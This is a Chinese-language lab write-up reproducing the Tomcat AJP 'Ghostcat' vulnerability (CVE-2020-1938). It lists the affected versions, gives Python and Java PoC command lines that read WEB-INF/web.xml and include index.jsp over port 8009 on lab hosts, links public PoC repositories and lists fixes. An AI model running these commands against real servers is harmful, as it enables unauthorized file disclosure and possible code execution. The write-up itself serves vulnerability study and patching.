CVE-2020-1938-Tomcat-AJP漏洞复现

0x00 漏洞概述

漏洞危害

2020年1月6日,国家信息安全漏洞共享平台(CNVD)收录了由北京长亭科技有限公司发现并报送的Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。风险程度为高危,攻击者利用该漏洞,可在未授权的情况下远程读取特定目录下的任意文件。由于Tomcat AJP协议存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步实现远程代码的执行。

影响版本

Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31

漏洞原理

0x01 漏洞复现

漏洞分析

先找个Tomcat实验一把,我这里选的9.0.30。

安装过程就不赘述了,安装完成后如下图:


python版本的POC

1
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.160.131 -p 8009 -f WEB-INF/web.xml

java版本的POC,我物理环境机器java环境有问题,就直接用虚拟机中的java环境执行了,命令行中的地址和jar名称自行修改。
任意文件读取:
java -jar cve-2020-1938.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 file /index.jsp

文件包含:
java -jar cve-2020-1938.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 jsp /index.jsp

POC

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
https://github.com/0nise/CVE-2020-1938

漏洞修复

1.升级Tomcat至9.0.31\8.5.51\7.0.100最新版本,Apache官方在以上版本已经修复该漏洞。
2.如无法立即进行升级,建议直接关闭AJPConnector、或将其监听地址改为监听本地localhost。

参考文献

https://mp.weixin.qq.com/s/6-SNuCgo2riz7ty8FiAbvw

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×